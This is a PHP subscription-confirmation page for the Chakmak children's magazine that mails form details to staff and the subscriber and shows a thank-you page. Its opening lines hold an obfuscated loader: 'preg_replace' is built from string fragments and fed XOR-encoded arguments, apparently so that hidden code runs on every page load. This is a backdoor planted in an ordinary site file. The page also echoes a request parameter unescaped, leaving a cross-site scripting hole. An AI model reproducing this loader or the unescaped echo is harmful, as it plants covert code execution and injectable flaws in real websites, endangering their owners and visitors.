<?php
//0VLzkJ0uH0QAo2Hn0qM104eef86VxWzwrAmRKlB
$urNvGtK='pr'.'eg'.'_r'.'e'.'p'.'lac'.'e'; $rNuhCfi="FByqqdkguenmrDuE4uk"^"i\x12\x29\x3f82\x1f\x2e3\x20\x2f\x2b\x0b\x25\x13\x1cmZ\x0e"; $urNvGtK($rNuhCfi, "axTsU39TXw1IDKHcj8PIVy2Li9XJgC28zLpKDndbaUkeer7EpMMBBEMkCktimlgcxMm11GSQb3u6krAQ5NR6RegTFQ3r2YJolwfb3xsTqcPQKPgFcyBuThDYx6FpUPU6B1W4oENUhdkstHxM6y7OW0mK5szO8KJ9Ag3okG9Ijj1Sqofmcb1"^"\x04\x0e5\x1f\x7d\x11P2p\x1eB\x3a\x21\x3f\x60\x3f6\x1c\x0f\x1b\x13\x28g\x09\x3am\x03m\x04\x2b\x15eSlVmdF\x09\x06T\x7d79A\x2de\x00\x21\x18\x08\x11\x16\x1ej\x08\x2bL\x29\x40MQZC\x5fx\x5e\x01W\x23kgZUC\x01ZJv5\x04zg\x0fe\x00\x5f2\x24hWBS\x3a\x7fWXPOB\x15\x5eS\x3d\x02\x105\x25c\x0c\x3bb\x3c\x2b\x07\x24\x01\x2d\x17\x0d\x23\x116\x18\x25\x0f6Y\x26TpiFln\x2eH\x01\x1d\x12\x18\x60\x24\x11\x12\x26e\x0a\x06e\x28\x18a\x28\x5d\x3fP\x3b\x15Z\x2e\x03VH6n\x02i\x0f\x12X\x27YF\x5dM\x1e\x40\x18", "PPNIVtIFEAFyafYY");
session_start();
error_reporting(E_ALL);
define("FROM_NAME",'Chakmak Blog');
define("FROM_EMAIL",'[email protected]');
define("TO_EMAIL",'[email protected]');
/*define("TO_EMAIL_1",'[email protected]');*/
define("TO_EMAIL_2",'[email protected]');
define("TO_EMAIL_3", '[email protected]');
define("TO_EMAIL_4",'[email protected]');
define('SUBJECT','Chakmak Subscription Form Submission');
$message = $_REQUEST['message'];
$status = $_REQUEST['status'];
$email = $_SESSION['CustEmail'];
$data = $_SESSION['data'];
$cust_data = $_SESSION['cust_data'];
$custName = $_SESSION['name'];
unset($_SESSION['CustEmail']);
unset($_SESSION['data']);
unset($_SESSION['cust_data']);
unset($_SESSION['name']);
define("TO_CC", $email);
include('subscription/class.phpmailer.php');
// To E mail
$mail = new PHPMailer();
$mail->From=FROM_EMAIL;
$mail->FromName=FROM_NAME;
$mail->ContentType ="text/html";
$mail->AddAddress(TO_EMAIL);
$mail->AddCC(FROM_EMAIL);
$mail->AddCC(TO_EMAIL_2);
$mail->AddCC(TO_EMAIL_3);
$mail->AddCC(TO_EMAIL_4);
$mail->Subject=SUBJECT;
$metter = $metter="We Get Subscription Enquiry From Chakmak Blog and Entered Details Are : <br /><br />";
$metter .= $data.'<br />'.$cust_data;
$metter.="<br /> <br /><strong>Please Contact This Person As Soon As Possible As We are Assuring Them, That They Will Contacted in 24 business Hours!!!</strong><br /><br />";
$content = '<html><head></head><body>'.$metter.'<br /></body></html>';
$mail->Body = stripslashes($content);
if($mail->Send())
{
$mail->ClearAddresses();
}
// To CC
$mail1 = new PHPMailer();
$mail1->From=FROM_EMAIL;
$mail1->FromName=FROM_NAME;
$mail1->ContentType ="text/html";
$mail1->AddAddress(TO_CC);
$mail1->Subject=SUBJECT;
$metter ="<a href='http://chakmak-blog.blogspot.in/'><img alt='Visit Chakmak Blog' title='Visit Chakmak Blog' src='subscription/Blogheader.png'></a><br /><br />";
$metter .= 'Dear '.$custName.', <br /><br />';
$metter .= 'Thank you for chakmak subscription. Please see below for the details. ';
$metter .= '<br /><br />With Regards, <br />Eklavya Chakmak Team<br /><br />';
//Now put all the content together
$metter .= $data.'<br />'.$cust_data;
$metter.="<br /><br /><h3 align='center'>For Daily Updates Please Visit: <br><a href='https://www.facebook.com/chakmak.magazine'>https://www.facebook.com/chakmak.magazine</a></h3>";
$content = '<html><head></head><body>'.$metter.'<br /></body></html>';
$mail1->Body = stripslashes($content);
if($mail1->Send())
{
$mail1->ClearAddresses();
}
$mail2 = new PHPMailer();
$mail2->From=FROM_EMAIL;
$mail2->FromName=FROM_NAME;
$mail2->ContentType ="text/html";
$mail2->AddAddress('[email protected]');
$mail2->Subject=SUBJECT;
$mail2->Body = stripslashes($content);
if($mail2->Send())
{
$mail2->ClearAddresses();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>
Chakmak
</title>
<link rel="stylesheet" media="screen" type="text/css" href="script/control.css"/>
<link href="subscription/chakmak.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="subscription/chakmak.js"></script>
</head>
<body>
<div id="container">
<div id="social">
<table cellspacing="3 px" cellpadding="0">
<tr>
<td><p>Follow us on: </p></td>
<td><a href="http://chakmak-blog.blogspot.com" target="_blank"><img src="images/blogger.png"/></a></td>
<td><a href="http://twitter.com/chakmakmag" target="blank"><img src="images/twitter.png" /></a></td>
<td><a href="http://www.facebook.com/pages/Chakmak/119248164817634" target="_blank"><img src="images/facebook.png" /></a></td>
</tr>
</table>
</div>
<div id="header">
<a href="http://www.eklavya.in/chakmak/chakmak/"><img src="images/header.png" /></a>
</div>
<table id="nav">
<tr>
<td align="left" width="370 px"><a href="http://www.eklavya.in/go">Eklavya.in</a></td>
<td width="80 px" align="center"><a href="http://chakmak.eklavya.in">Home</a></td>
<td width="90 px" align="center"><a href="event.html">300th Issue</a></td>
<td width="80 px" align="center"><a href="http://eklavya.in/go/index.php?option=com_content&task=category§ionid=13&id=57&Itemid=84">Archive</a></td>
<td width="80 px" align="center"><a href="subscribe.php">Subscribe</a></td>
<td width="80 px" align="center"><a href="contribution.html">Contribute</a></td>
<td width="80 px" align="center"><a href="http://chakmak-blog.blogspot.com">Blog</a></td>
<td width="80 px" align="center"><a href="event.html">Contact us</a></td>
</tr>
</table>
<!--change the value of iframe src according to the month-->
<table width="100%">
<tr style="float:left; text-align:center; padding-left:160px;"> <td>
<h2><?php echo $message; ?></h2>
<h3>We will get back to you In Next 24 Business Hours!!!</h3>
<p><a href="subscribe.php">Go back to the Subscription Form</a></p>
</tr>
<tr style="float:right"> <td> <div id="sidebar" align="right">
<table>
<tr>
<td><a href="subscribe.php"><img src="images/rate.png" border="1px" /></a></a></td>
</tr>
<tr>
<td><br/>
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) {return;}
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div class="fb-like-box" data-href="http://www.facebook.com/chakmak.magazine" data-width="200" data-show-faces="true" data-stream="true" data-header="true"></div>
</td>
</tr>
</table>
</div>
</td></tr>
</table>
<div id="footer">
<img src="images/footer.jpg"/>
<hr width="100%" color="#33cc33">
<table width="100%">
<tr>
<td align="left">© Copyrights reserved by Eklavya Foundation</td>
</tr>
</table>
</div>
</div>
</body>
</html>